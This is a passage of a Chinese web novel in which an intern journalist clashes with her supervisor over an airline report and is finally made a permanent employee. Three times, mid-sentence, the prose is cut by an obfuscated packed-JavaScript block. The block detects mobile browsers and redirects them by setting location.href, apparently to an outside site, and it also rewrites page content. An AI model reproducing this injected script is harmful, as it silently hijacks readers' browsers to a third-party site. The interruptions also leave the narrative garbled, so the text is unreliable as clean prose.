果然两句话就暴露本性了。魏萱咬紧牙关。“我当不当得上记者跟你没关系，你跟我说实话，到底怎么跟池雪露说的？” “行，明白告诉你吧。”韩逸耸耸肩，顶着一脸颇是儒雅的脸道：“我在你之前来的新丽景，跟池雪露有过一段……可她太强势了，我实在受不了了，就跟她编了个借口，说虽然我甩了你，但那是有点理由的。实际上，我还是忘不了你。谁知道池雪露还能记住你的名字啊，也不能怨我……” 魏萱气得头顶都要冒烟了，举着手机，在跟池雪露聊天的页面按住了语音键。“你再说一遍！”、 “别啊，我还想在新闻圈混呢。”韩逸凑到魏萱的手机边上，吃吃笑道：“萱萱，你别闹了，你明知道我还喜欢你。你乖一点，好不好？” “你无耻！”魏萱气得想一个巴掌打过去。可韩逸很快避开了，冷着眼道：“行了，你还没转正呢吧。别惹事了。魏萱，s市的新闻圈不是那么好混的，你别把人都得罪透了。你应该也听说了，我现在在电视台工作，前景好得很。什么十佳记者，你摸不到的工作机会我这里都有。所以，我当初的话还算数。你要是当上十佳，我直播吃x。” “好，我就等着你吃x的那天！”魏萱毫不犹豫地放了狠话，扭头留给韩逸一个背影。韩逸挑挑嘴唇，眼底尽是不屑。 晚上回到家里，魏萱把这件事跟苏晓说了，又说想找池雪露解释一下。苏晓在电话那头摇了摇头。“没用的，姐姐。你们注定气场不合。而且我跟你说实话，池雪露手底下容不下的小姑娘不止你一个，没看咱们这边总有人往B组跳么。你也别想太多了，虽然她厉害，但毕竟有主编在呢。你不用太担心，只要报道做得好，没人能拦住你转正！” 事实证明，苏晓真是太乐观了。因为第二天上午，池雪露便再次敲着桌子警告魏萱。“我这么跟你说吧，只要我在新丽景呆一天，就一天不会允许你把这种没有爆点的报道从我的手底下发出去。” “那我给主编看看行不行？”魏萱也不想再以德报怨了。 “可以啊。”池雪露向后一靠，懒洋洋笑了。“不过最近半个月不行，因为他出差了，公司这边的事全权交给我处理。” 魏萱闻言心里一凉。半个月后，就过了明航那边给出的期限，这篇报道即便发出来也来不及了。 “雪露姐……”魏萱放低了语气。“你如果真的觉得这篇稿子不好，我可以继续改。你说怎么改，我都听你的。” “你是不是觉得我在针对你啊，魏萱？”池雪露笑眯眯说着，耳边硕大的白珍珠耳环与身上毛绒绒的超低领毛衣相得益彰。“你想多了，我真不是那样的人。魏萱，我是为了咱们公司的名声着想。如果我们公司的报道都这么平平无奇，以后谁还会在意新丽景这个招牌呢？所以，你还是回去再想想吧。当然，如果你觉得自己能力不够的话，现在放弃这个项目也可以，我会安排其他人接手，建议你回去整理一下交接资料吧。” 然后，魏萱再次被撵出了办公室。 说实话，不灰心是不可能的。她的心情很不好，以至于连明航给的一万多块钱巨款都没有那么香了。 9. 放弃 回到家里，魏萱也有些生气。她很清楚地知道池雪露就是在针对自己，即便自己做再多的努力也是没用。那怎么办呢？能说放弃吗？魏萱看着日记上被自己勾勾盖盖的跟飞记录，看着桌子上堆得密密麻麻的明航资料，看着电脑屏幕上高达五万字的字数统计，她自认说不出放弃两个字。 何况这是毕业之后自己拿到的第一个报道，如果连这个头都没有开好的话，魏萱实在不知道接下来的路该怎么走了。 她觉得沮丧，索性连晚饭也没吃，懒洋洋地将脸贴在桌案上，看着窗外的夕阳发呆。她其实一直不太喜欢夕阳，总觉得有一种一切都要结束在这个时间的湮没感。 尤其是在秋天。 随手转动着素日最喜欢的一直百乐笔，眼眸忽然落在被资料压在最下面的一个黑色封皮笔记本上。她心里倏地一跳，忽然想到了一件特别要紧的事。 傅予深有没有看过自己的笔记本？ 魏萱莫名觉得手里的笔有些烫手。可很快，这个荒谬的念头便被自己打消了。明航在s市机场的航线安排十分密集，傅予深作为维修大神，是公认事务最忙的人，又怎么有时间看自己的笔记。 她这样想着，到底带着几分希冀翻开了笔记本。果然，上面只有自己的小楷字，算不上多好看，但经常会被旁人夸看着顺眼顺心。她随手翻了翻，才发觉这个笔记本上写的寥寥几页都是那天傅予深在图书馆发表的讲座中的内容。他提到了许多自己不熟悉的词，MEL、LEAP等等。 因为不明白，所以当时自己还在这些词旁边画了不少问号。本来想着事后回来查一查，但因为大多是维修方面的内容，与自己的报道关系不大，所以便搁下了。 但此刻，魏萱不想再翻开自己的报道了，她索性划开手机屏幕，一个词一个词地搜索起来。因为要握着手机打字，所以便没有手压制被风翻动的书页。书页失去了束缚，飞速地向前扫去，直到秋风吹不动为止。 笔记本迎来了它的最后一页。 魏萱傻眼了。 是完全陌生的笔记，楷体，自然流畅，每个字都修长好看，甚至有赵孟頫的味道。魏萱细看下去，才发现这一页笔记是在解释自己之前的每一个问号。 MEL：飞机按最低放行标准所规定的放行时最低的、必备的和不可缺少的设备清单。 LEAP:CFM公司研制的发动机。 …… 自己的每一个问题，每一个问号都在这一页纸上得到了解答。魏萱的手轻轻抚摸着光滑的纸张，仿佛看见了傅予深领口微微打开，神色淡然地写下这些文字时的场景。不过，大约写得时候很匆忙，所以里头颇有些修改的痕迹。可即便如此，也无碍那些美好华丽的笔迹。 夕阳的光射在对面楼的玻璃上，再照进来时便有了过分耀眼的强烈。恍惚间，魏萱有一种此刻即是清晨的错觉。 她喜欢这些陌生的知识，与自己的生活离得那么遥远，又那么接近。她忍不住想，如果他在维修飞机的时候遇到了阻碍，他会放弃吗？ 魏萱把这个问题写在了笔记本上，在自己的一群问号下面又加了一个问号。然后，她忽然想到了陆思羽提到的“予深检查法”。 打开搜索框，把这五个字输入进去，果然就有好多篇对应的报道。魏萱随便点进去一个，上面用标准的宋体写着这个检查法之所以存在的理由。 那是一个安全隐患频发的阶段，飞机的停场率直线上升。在所有的方法都推进不下去的时候，傅予深另辟蹊径，创造了一种心手并用的检查方法，极大程度地规避了人为失误。后来，这种方法被称为“予深检查法”。 是的，遇到问题的时候，他不会放弃。 …… 魏萱整整熬了一个大夜。第二天一早，池雪露的微信第一时间发过来。“交接材料准备完了吗？我明天安排人跟你交接。” 接下来，是她妈妈发来的微信。“如果不打算回家的话，把这个月的工资打给我。” 这两条微信魏萱一条都没回，她也没看自己平时穿的休闲装，而是选了一条相对精致干练的裙子穿上，然后第一次梳了披肩发。 因为她今天不是去工作的，而是要去谈判的。 魏萱约了陆思羽在明航大厦门口见面，没想到她才刚一露面，便听见陆思羽的大惊小叫。“魏记者你是不是疯啦？要见我们副总？我的天，张经理知道这事吗？” 魏萱点点头。“张经理知道，我把事情都跟她说了，她说她做不了主，这事得跟副总商量。她还说她今天请假了，所以只能让我自己去副总那谈。” 陆思羽撇撇嘴。“她们一个个的都是人精，怎么可能带你去见副总。也就我吧。不过说实话，我也没有权限去见副总啊。魏记者，你真的决定要这么做吗？” “是。我想过了。这样对我，对新丽景，尤其对明航都是一件好事。所以我要和赵副总谈谈。” “可是，没有张经理引路，你进不去的。”陆思羽叹了一口气。“魏萱，即便你得了特殊贡献奖也不行。我们公司的访客制度还是挺严格的。” “我去会客室等。”魏萱轻声说着，眼神却很坚定。“按照访客条例，虽然未必能见到副总，但至少会有人向他打报告吧。见不见我是他的事，等不等，却是我的事。” 陆思羽粉红的唇瓣轻轻动了动。有点惊讶地看着魏萱。说实话，初见的时候，她没把这个小记者当回事。但现在，她渐渐发现，魏萱身上的确有着新闻人该有的胆量和毅力。 “行，我带你去会客室。不过，听说副总那边这两天很忙，所以你还是别报太大希望了。” 魏萱点点头。她既然做了决定，自然有的是耐心。然而，事实比她想得更加顺利，她才刚坐在会客室里，便有一位自称宣传口的工作人员笑着走了进来。“魏记者是吧。” 魏萱与他握手，将手里准备好的材料拿出来，正要开口，却见来人笑眯眯道：“是这样的魏记者，您的来意我们都清楚了，公司方面会好好考虑的。材料我也留下，整理后交到副总那边。您看可以吗？” 她笑了笑，轻轻抹了抹耳边的碎发。“陈经理，我不是来给你们找麻烦的。我是在认真地评估了这次宣传报道对明航的重要意义后，希望把这件事做得更好，所以才来找赵副总谈一谈。请你相信我作为一个记者的职业素养，也请你明白，我所做的事与明航想达到的目标不是冲突的，而是完全和谐的，完全一致的。我知道，多一事不如少一事，可这件事不是可有可无的。这件事结果的好坏，直接影响着明航的口碑，也就影响着您未来的事业。陈经理，辛苦您，再跟赵副总汇报一下吧。” 听见这话，陈经理怔了怔。显然，魏萱的坦诚在他的意料之外，魏萱的直率更在他的意料之外。他吸了口气，沉吟了好半晌才开口道：“既然魏记者这么说，我也不妨跟您说实话。” 说着，陈经理双手交叉放在桌面上，压低了些语气道：“我们的确知道您来这的目的了。而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392818|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，魏记者，您得了特殊贡献奖，对我们明航来说也就不是外人了。所以有些话我也不瞒您了。是这样的，魏记者，我们之所以不同意您的想法，是因为我们觉得那天机组方面的表现并没有达到我们预期的目标。毕竟，您也知道，如果没有魏记者您，那天的事后果简直不堪设想。” 魏萱点点头。陈经理说的话，的确在她的意料之外。但这件事她也仔细想过了。“我们评估一件事的好坏，不能完全以过程论，还是要看一件事的结果。那天的事固然她们有思虑不周的地方，但我不得不说，误打误撞的人其实是我。大多数情况下，心肺复苏和除颤仪都是有效的。陈经理，我想给您出示一组数据。“ 说着，魏萱将手里准备的材料递过去，用红笔划了几行道：“您可以看一下，这是根据去年的业内调查所显示的结果，明航的心肺复苏技巧掌握程度是全行业最好的，除颤仪配备也是最全的，甚至达到了100%。您可以想想，这样的数据通过一篇真实有效的报道拿出去是多么地有说服力。我们再来看明航的响应速度，我搜集了历年的一些新闻材料，虽然可能有不尽不实的地方，但至少有一定参考性。陈经理，在其他航空公司面对类似问题时，响应速度均在一小时左右。可明航却做到了只用10分钟就安排好了一切。这是多么惊人的速度啊。您想想，旅客在看见自己的生命得到这样的保障时，怎么可能不满意？” 魏萱的一番话让陈勇渐渐变了脸色。他怎么也没想到，魏萱的准备已经做到这么充分了。他有点惭愧地吁了一口气，慢慢道：“魏记者，说实话，宣传工作做多了，有时候难免会先想到一件事的负面结果。这也是我工作越来越保守的理由。今天您给我的材料很有说服力，我想，我会再跟赵副总谈一次的。不过赵副总刚刚出门去开会了，明日上午我会找他汇报。请您明天下午再过来一次，可以吗？” 对于魏萱而言，这已经是还算不错的结果了。她点点头，收拾好自己的材料，对着陈经理道了谢。陈经理点点头，眼眸里映着白裙长发的少女，心里莫名有一阵动容。他干了很多年的宣传工作了，自视看人很准。他觉得，方才的这个魏记者，很不同寻常。 然而，就在陈勇送她出门的一瞬，魏萱的手机忽然响起。 竟然是池雪露。 魏萱下意识心里有一种不祥的预感，她旋即抬眸看向陈勇。“陈经理，我今天过来的事，您跟我们公司的高层汇报了？” 陈勇一怔，回忆了一番，本不想承认他听见赵副总跟新丽景方面联系了，可莫名奇妙地，对上魏萱那双澄澈的眼眸，他竟忍不住说了实话。“是，魏记者。我们公司方面对这个报道的意见挺坚定的，所以，可能是想让你们新丽景方面给你施加压力。” 魏萱点点头，觉得手里的电话热得有些烫手，她也不敢再犹豫，赶紧说了再见，便出门接通了池雪露的电话。 “魏萱，你在哪？”对面的池雪露显得凌厉生锋。 “明航大厦。”魏萱淡淡回答。 池雪露短促地笑了一声，冷冰冰道：“我进新丽景也这么多年了，还没见过主意这么大的实习生呢。实话跟你说吧，赵副总是我的朋友，就算说破了天，他也不可能让你重新出一份报道。而且方才我也跟他说过了，取消你后续在明航的所有跟飞学习计划，我派专人交接你的工作。从明天开始，你每天早午晚三遍在新丽景公司打卡，我会让人事方面监督，只要缺卡一次，你就立刻收拾东西辞职，再也不用想转正的事了。就这样。” 10. 转正 滴滴滴。电话被挂断了。魏萱心头一片冰冷，数着台阶慢慢向下走。洁白的裙子下露出一段光洁白皙的小腿，手腕上还懒懒搭着一件淡灰色的开衫毛衣。 天真暖。她垂眸躲刺眼的阳光，却看见地上有一只小虫子怎么努力也翻不过身来。她抿唇看着它，仿佛看着在这个城市里拼命想立足脚跟的自己。 苏晓的微信很快发过来了。“萱萱，你没事吧？方才池雪露从办公室怒气冲冲地出来，当着我们所有人的面，说让李可接替你完成明航剩下的所有工作。。。” “主编知道了吗？他怎么说？” 过了五分钟，苏晓的微信发过来了。“我让赵南去问主编了，主编说，这种小事他不管，他只要能看见明航的报道如期完成就行。” 魏萱回了一个嗯字。她其实也猜到了，主编不会为了自己和池雪露过不去，犯不上的事。 魏萱低下头，那只小虫还在努力，不知道是十个爪子还是八个，总之在空中都要抡圆了。她觉得好笑，索性随手捡了一片叶子，用叶片的部分轻轻帮它翻过来。 不知怎的，这样一垂头，方才的委屈忽然就绷不住了。她又不愿意在这哭，便硬生生地忍下去。 就在这会，一个高高大大的身影将她整个人都罩住了。 魏萱惊讶地抬起头来，从这个角度，能看出他是个皮相和骨相都很优越的人。再加上笔挺的淡蓝色衬衫和过分饱满的喉结，让他整个人的气质更出众了。 而她是蹲着的，从眼窝到眼尾又都是红的，于是在他面前，便很像一只无助的小兔。 可能是瞧见她想哭没哭的模样，他的语气骤然有些发紧。“你没事吧。” “我……”魏萱倏地站起来，在黑发的映衬下，樱唇琼鼻竟有了些港风的味道。 “来找人，还是有工作？”他的声音放低了一些，带着莫名的磁性。 魏萱吸了吸鼻子，沁水般的眼睛配上闪着晶莹的长睫，再加上雪色肌肤，让人很是动容。“工作的事。”魏萱稍稍平复了心情，很快三言两语讲了，但对自己的委屈却只字没提。本来就是，与人家无关的事，说了做什么呢，反倒让人家心里有负担吧。 还好，傅予深也没有多问，点了点头，又松松稍紧的领口，便与她道了别。 魏萱回眸，他的背影在蔚蓝色大厦的映衬下显得十分有气质。可这样的气质，与自己的人生是没有半点关系的。她垂下头，见那只小虫已经慢慢爬远，心里才松弛了一些。可到底脚步是沉重的，她慢慢向着门口走去。 明航大厦的地上停车场是私人的，除此外，门岗距离大厦也有一定的距离。走路的话，大约要两分钟。 这两分钟的时间里，魏萱再次收到了来自她妈妈的微信。“工资，急用。” 就只有这四个字。魏萱忍不住往上翻了翻两个人的聊天记录。是的，从她实习工作到现在，妈妈没问过一次，她过得好不好。 可能有些人的人生就是这样的，注定要一个人向前走。 魏萱锁上屏幕，抬头向前，然后迎上了门岗处值班的登记人员。与自己来的时候相比，他的态度明显客气多了。 “魏记者是吧。”他低头看了一眼方才的登记册，笑了笑。“麻烦您再回大厦吧，八楼，我们孟总想见见您。” “孟总？”孟寒凛？ 孟总和赵副总就差了一个字，可地位却是天壤之别。魏萱之前在报道上看见过孟寒凛的名字，知道他是明航的总裁。这种身份的人，怎么会想到要见自己呢？ 看出她的疑惑，登记人员又笑了笑，轻声提醒道：“是傅予深傅工程师给我的打电话。我想，傅工程师应该不会轻易开这样的玩笑。” 听见这话，魏萱顿时愣在了原地。 …… 池雪露的鞋跟永远是新丽景最高的，配上一双长腿，连门口的保安也要多行一会注目礼。这会，她耳朵里塞着定制的QDC耳机，笑盈盈地打着电话。“知道了，刘总，我这不是出差了，刚回来嘛。” “转正名额的事，没问题吧。哎呀，我就这一个侄女。”对面的声音稳重沧桑。 “没问题，我手里有三四个转正名额呢，到时候随便挤下去一个，留给她就行了。” “行，她就这么个爱好，让她干着吧。只要转了正，她高兴就行了。池大记者，你放心，这事要是成了，必须给你安排几个爱马仕。” “行啊，刘总的话我可记住了。”池雪露毫不犹豫地答应下来。对面的话却还在继续。“可是话说回来，池大记者，不是我不信你啊，可是你也知道，这应届毕业生的三方协议还是挺重要的。要是错过了这个就业的黄金时间，再去别的新闻公司，我怕她转正就更难了。你说这……” 笑话，堂堂一个大公司的老总，会在意侄女的三方协议？池雪露明知道这是托词，于是蹙了蹙眉，神色不那么高兴，语气却一如既然地客气：“刘总你放心吧，我池雪露办事还从来没出过差错呢。何况是刘总您安排的事。要是办不成，以后您有好事也不用想着我了。” “呵呵呵，那哪能啊。行了，这事就这么说定了，我等你好消息。” 对面挂了电话，池雪露也收了脸上的笑容，随手将耳机塞进包里，大步进了电梯。见到是她，所有人都默默向后让了一步，只有李可和几个小姑娘胆子大，围着她问围巾的牌子，说小众又好看。 池雪露随口应付了几句，便去找主编陈昱点卯了。虽然她不怎么把这个人放在眼里，但毕竟出差两周多了，得过来敷衍一下。 “陈主编，我回来了。”一如既往，池雪露笑得意气风发。自从拿了十佳记者的名誉，她在新丽景如鱼得水，从来都没受过半点委屈。 陈昱点点头，手里拿着两份新丽景旗下的报刊，冲着池雪露招招手。“雪露啊，你手底下的人果然不错。你看这两份报道，一份比一份精彩。如果我没猜错的话，肯定会引起反应的。” “是么，哪两份报道？”池雪露笑盈盈地接过去，却在看见两篇报道题目的那一刻，脸色剧变。 两份报道都是关于明航的，只是题目不同。一个是“只有一个人的航班——明珠航空救危实录”。另一个是“春风细雨润无声”，讲的则是明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392819|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 航人性化服务的点点滴滴。 这两个报道分别占据了两期报刊的封面头条，而且署名的地方赫然写着魏萱的名字。池雪露眨了好几次眼，终于确定自己没有眼花，才咬着牙关脱口道：“怎么可能，我分明让李可接手了！” 说着，她向陈昱投去质问的眼神。 陈昱毕竟是主编，见到池雪露这种态度多少也有些不满意，不由得蹙眉道：“雪露啊，这公司也不是你一个人说了算的。” “我没有这个意思。”池雪露心里的怒火一浪盖过一浪，她不由得攥紧了手，拧得报刊的封皮都有些褶皱。不过，到底是久经风浪的人，很快就镇定下来道：“我只是想知道，她凭什么可以不听我的命令，我都说了，这个报道交给李可。如果以后一个两个都像她这样，我以后还怎么带组员？我想陈主编你，也不愿意用这种不服管的人吧。” 陈昱哦了一声，慢慢道：“这你也跟我说不着了。用她写报道，是明航高层那边的意思。既然我们是受托于甲方，自然要尊重甲方的想法。” “明航高层？不可能！”池雪露记得清清楚楚，赵琛赵副总说了，同意换人，但要保证报道的质量更好。 “这有什么不可能的。何况这报道写得确实不错。雪露，我甚至觉得可以和你媲美了。说实话，我觉得就凭这两篇报道，她完全有转正的资格了。” “谢谢您的夸奖了。”池雪露简直有些挂不住脸了。要知道，她可是刚答应完刘总要给他的侄女安排一个转正名额，用的正是魏萱的。可现在，自己恐怕非但不能如愿，而且还有可能得罪刘总。这让她这种左右逢源的人怎么能接受。 “雪露，她毕竟是你手底下的人。不管怎样，出了这样的干将，你应该替她高兴才对。而且，明航高层那边既然能为她说话，我觉得至少说明她工作做得不错。甚至，我还听说她在跟飞的时候得了个特殊贡献奖。这是多好的人才啊，你得好好利用，让她以后也成为咱们新丽景的中流砥柱，对吧。” “是，我会的。”池雪露不想再跟陈昱掰扯了。她现在只想知道，魏萱到底有什么本事，能让赵琛都服了软。 片刻后，她拨通了新丽景副总的电话。这位副总叫宋璟宇。当年池雪露刚入职的时候，宋璟宇是她的顶头上司。那时候池雪露不过是个初出茅庐的大学生，因为一直跟着宋璟宇跑新闻，宋璟宇本身又十分出挑优秀，所以她渐渐对他生了些情愫。可那会宋璟宇是结了婚的，她再心动，也不愿意当第三者，所以也就那么回事了。 直到后来，两个人各自向上爬，一个成了知名记者，一个成了公司副总。再加上宋璟宇又离了婚，所以池雪露与他也就渐渐恢复了从前的暧昧。可是，池雪露是个要脸的人，何况她现在要身份有身份，要美貌有美貌，所以她虽然对宋璟宇有很深的感情，但也实在不甘心嫁给这个离婚的男人。所以如今，其实反而是宋璟宇更主动些。 “璟哥。”池雪露用熟稔的语气开了口。听见对面传来很温柔地一声嗯，她心里才舒服了一些，继续道：“璟哥，赵琛不是跟你关系挺好的么，怎么一点面子都不给啊。” 11. 碰杯 宋璟宇顿了顿，似乎想了一会，接着才开口问道：“你是要说明航那边不同意报道主笔换人的事吧。雪露，这件事对你很要紧么？不都是你手下的人嘛。” 池雪露闻言不由得攥了攥拳头，心里暗骂宋璟宇老奸巨猾。不过，她认识他久了，自然也有的是方法对付他。“璟哥。”她笑了笑道：“你教过我，用人不疑，疑人不用。你要相信，我换人自然有我的道理，否则也不会让你出面当中人，把赵琛的联系方式给我了。” 宋璟宇似乎也笑了笑，而后语气也松弛下来了。“我知道，我没有不信任你的意思。雪露，我跟你说实话吧，这件事你不能怨赵琛，更不能怨陈昱。这件事是明航那边的孟总给出来的指令，就连我也不能拒绝。” 孟总？池雪露当场就傻了。不可能，孟总是人家明航的总经理。魏萱怎么可能认识他，他怎么可能亲自下场帮魏萱的忙？做背调的时候她确认得明明白白，魏萱就是个外来的乡下丫头，只有她的大学导师对她还算仗义。 “就是孟总。”宋璟宇没有进一步解释，而是淡淡劝道：“我觉得，可能是孟总看见魏萱的才华了。” “你什么意思？”池雪露本能地有些警惕。宋璟宇有些紧张，赶紧哄道：“雪露你别不高兴，魏萱好不好，不也是你培养出来的吗？你现在在国内新闻界做得这么成功，总得有个接班人吧。” 池雪露咯地一声被逗笑了。“宋璟宇你的意思是说，魏萱能做我的接班人了？就凭这两篇报道？你没搞错吧。你别忘了我是怎么站稳脚跟的，别忘了我是打拼了多少年才站稳脚跟的！话又说回来，这回的报道她写得是不错，可那是因为她运气好，赶上了这么好的素材。换成别人，如果在现场，也能写出同样质量的稿子。” “雪露你别激动。”宋璟宇察觉她有些抓狂，声音反而变得更加淡然。“我是为你好，才跟你说这些话。雪露，不说这个魏萱，咱们就说你。从每个月的月报上看，你们组只有一个人做得出彩，那就是你自己。可别人呢？雪露，你有没有想过主编的位置为何不让你做？” “那是因为我不想做。我不差那点钱。宋璟宇你要知道，外面有多少人求着我去采访，去做他们的新闻……” “可你还呆在新丽景，不是吗？”宋璟宇似乎冷笑了一声。 池雪露愣住了。她从来没从宋璟宇的嘴里，听见过这么伤人的话。她不明白他是什么意思，只是觉得像一盆冷水淋到头上。 “雪露，我真的是为你好。我想问你，你有没有看过魏萱的那两篇报道？不妨告诉你，报道是前天刊发的，短短两天，就已经引起大众的探讨了，甚至影响到了明航的股票价格，现在已经有上涨的趋势了。雪露，别忘了我刚入职的时候对你说的话，新闻的力量是非常强大的。请你，不要远离这股力量。” “呵……”池雪露想说些什么，但莫名说不出来，只能用一声短促的冷笑来表达自己的心情。 可是，宋璟宇依然在说着她不爱听的话。“雪露，李可也为明航写了两篇报道，你一会也看看吧，抛开发病旅客那件事不谈，李可的报道里也有不少用得不妥当的专业知识。我是喜欢你，但不能再因为你去破例，去损害新丽景的利益了。新丽景的名字里有一个新字，这是因为董事长希望，新丽景能源源不断地涌现出新人。所以，魏萱转正的事我拍板了，希望你不要有情绪。” “好了，公事说完了。”宋璟宇似乎如释重负，叹了一口气才继续道：“雪露，别不高兴了好不好？你出差回来，一定累坏了，我请你去吃新开的日料店吧。听说那里的刺身还不错。” 池雪露没有再听下去，她在宋璟宇的语气再次温柔下来的那个瞬间，便把电话从耳边拿了下来，狠狠地攥在了手里。 回到办公室，她能清楚地听见外面的人都在围着魏萱夸赞。池雪露蹙眉关上了门，忍不住开始思考自己为什么到底这么不喜欢魏萱。仅仅是因为韩逸么？她自认交了不少男朋友，像韩逸这种弟弟，她还真的没怎么放在心上。 细细回想，池雪露才意识到，宋璟宇的话并非没有道理。她对魏萱的敌意，准确地说，其实是从魏萱应聘时的那篇稿件开始的。魏萱走访了数百位火车司机，然后搜集到了他们在不同年代使用的驾驶证，由此，魏萱写了一篇文章，题为“从小小的证件里窥见铁路发展速度”。 这篇稿件切入点细微，却的确很考验新闻人的洞察力和笔力。池雪露现在想想，也觉得是篇好稿子。怪不得她的导师会这样力荐她了。 此刻，池雪露蹙着眉，忍着心里的不愉快，随手点开邮件里魏萱这回写的报道。然后，她抱着一丝希冀，又打开了李可的报道。据她所知，李可这些日子也下了不少功夫。 可惜，不得不承认，陈昱和宋璟宇的意见是对的，两个人的差距不说是天上地下，却也是一眼就能看出高低的。接着，她又点了一下新丽景网络媒体下投放的这篇报道的点击率，仅仅两天，就超过了上一周投放的报道。再看系统显示出的热度，竟然能赶上大明星陆言言出轨新闻的四分之一！众所周知，花边新闻的热度一向是顶尖的，能达到四分之一已经不容易了。 池雪露默默想了一会，终于还是翻开手机通讯录，蹙眉把电话拨给了刘总。 …… 转正通知是在半个月后下来的。在公司不好意思反复看，直到回了家，魏萱才毫不掩饰地对着人事部的大红印章傻笑起来。转正，意味着她成了公司的正经员工，往后每个月的工资足足能达到七千多块钱。这样一来，她每月至少也能存下两千多，就不用像现在这么没有安全感了。 实在是高兴过头了，魏萱竟然脑子一抽，把转正通知发给了妈妈。她想，至少一句恭喜是有的吧。哪怕一句恭喜，她也会很高兴的。 然而，半个小时后，她收到的是一条风格不变的微信。“以后每个月打2000块给我，你哥嫂不容易。” 魏萱真是气笑了。可她又不觉得意外，这么多年了，她妈眼里只有她哥一家，她早就习惯了。能怎么样呢？每个人都有自己无法选择的出身。她又不是那种完全绝情的人，自然做不到和这个家毫无关联。 一千五吧。她心想，总要给自己留点余地。一千五也不多，就当是慢慢还她们之前养自己十几年的花销了。 一个小小的插曲而已，并没有影响魏萱的好心情。她下厨煮了牛肉面，牛肉是自己昨天用料包卤的，质地鲜嫩，口感多汁。配上她最爱的劲道面条，再选一杯气泡水解腻，便算是对自己的犒劳了。桌子一角，那厚厚的航空公司资料她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392820|168619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没舍得收拾，那是她努力的证明。 本想选一部剧来下饭，可莫名其妙地，魏萱点开的是微信通讯录。等到她后知后觉地停下手指，才发觉自己停留在了傅予深的微信头像处。她立刻反应过来，潜意识里自己竟然很想把这个喜讯分享给他。 毕竟，要是没有他帮忙，自己不可能顺利见到孟寒凛，也就不可能同时完成两篇报道，更不可能这么顺利地迎来自己的转正机会。正如他之前夸自己的那句话，是他，功不可没。 可她的手指似乎比她的心还要怯懦，她举了几次，都没有勇气点进和他的对话框里。总觉得，他的生活繁忙又精彩，自己这样的小事实在入不了人家的法眼。何况，还有之前得罪了范姜合的事。虽然他不计较，但自己应该做一个知趣的人，不该再给这对俊男靓女再徒增烦恼了。 可是，心里又隐隐有一个念头，让她忍不住分享。他是推了自己一把的那个人啊，难道不应该好奇这件事的结果吗？正如他之前，把航班上那位发病旅客的后续告知自己一样。 想了又想，一碗面已经见底了。这会，魏萱终于想到了一个好主意。她发了一条朋友圈，简简单单的三个字，“转正了。” 没有刻意选择时间，也不会针对他一个人可见。如果他能看见的话，但愿给他本就丰盈的生活添一点儿欢喜。如果他看不见，那也不要紧，反正自己说过了，也就安心了。 片刻后，苏晓的微信发了进来。“明天周末！”“别再跟我说要加班了！也别再去图书馆了！求你了姐，休息一天行不行？” 魏萱犹豫了一下，正要说明天想去公司看报道反馈，就见苏晓又发过来一条微信。“看来，你必须休息了，萱萱，看群，池雪露安排了周日的聚餐，说是庆祝你们四个人转正。我想，你得做点准备工作才行。” 魏萱退出两个人的聊天页面，果然看见群里，池雪露发了一条通知，写明了聚餐的时间和地点。还有聚餐所在的那家店的名字——“私己”。 她蹙蹙眉，有点不解地点开与苏晓的对话框。“需要我做准备？做什么准备？表态发言吗？” 苏晓发来一个笑哭的表情，紧跟着又发来一连串的话。“你别问了，反正你明天必须空出来，听我的，准没错！” 魏萱想了想，很快给她回了微信。“好，听你的。明天我去你家小区门口接你。” 苏晓的家住在市中心，自然是约会见面的好地方。 难得静下心来聊会天，魏萱和苏晓索性打起了语音。魏萱插上了耳机，一边刷碗一边听苏晓吐槽赵南最近又怼了陈昱的事。在这个公司，赵南简直没有对手。 然后，魏萱笑眯眯地，开始跟苏晓炫耀自己多了一万多块钱存款的事。苏晓是娇惯的独生女，虽然理解不了魏萱对钱的珍视，但也替她开心。 两个人聊得沉浸，以至于魏萱压根连手机都没看。直到洗完漱上床，她打算定闹钟的时候，才看见一个熟悉又陌生的名字出现在了聊天页面上。 是傅予深。 他对她说了四个字，恭喜转正。 他发来的是文字，可她却好像听见了一条声音沉澈分明的语音，又好像看见他唇角轻扯，眼眸低垂地站在她面前，乌黑的睫毛淡淡扫下来的样子。 真好。 12. 聚餐 魏萱有点后悔，因为这会距离傅予深的微信发过来已经足足过了两个半小时了。也就是说，自己的朋友圈才发出去不到十分钟的时候，他就发来了这条恭喜自己的微信。 躺在软绵绵的被子里，魏萱的脸庞被屏幕发出的光亮笼罩着。乌黑的长直发又被她扎成了高马尾，只有耳边的一点碎发，衬得她的脸清秀精致。 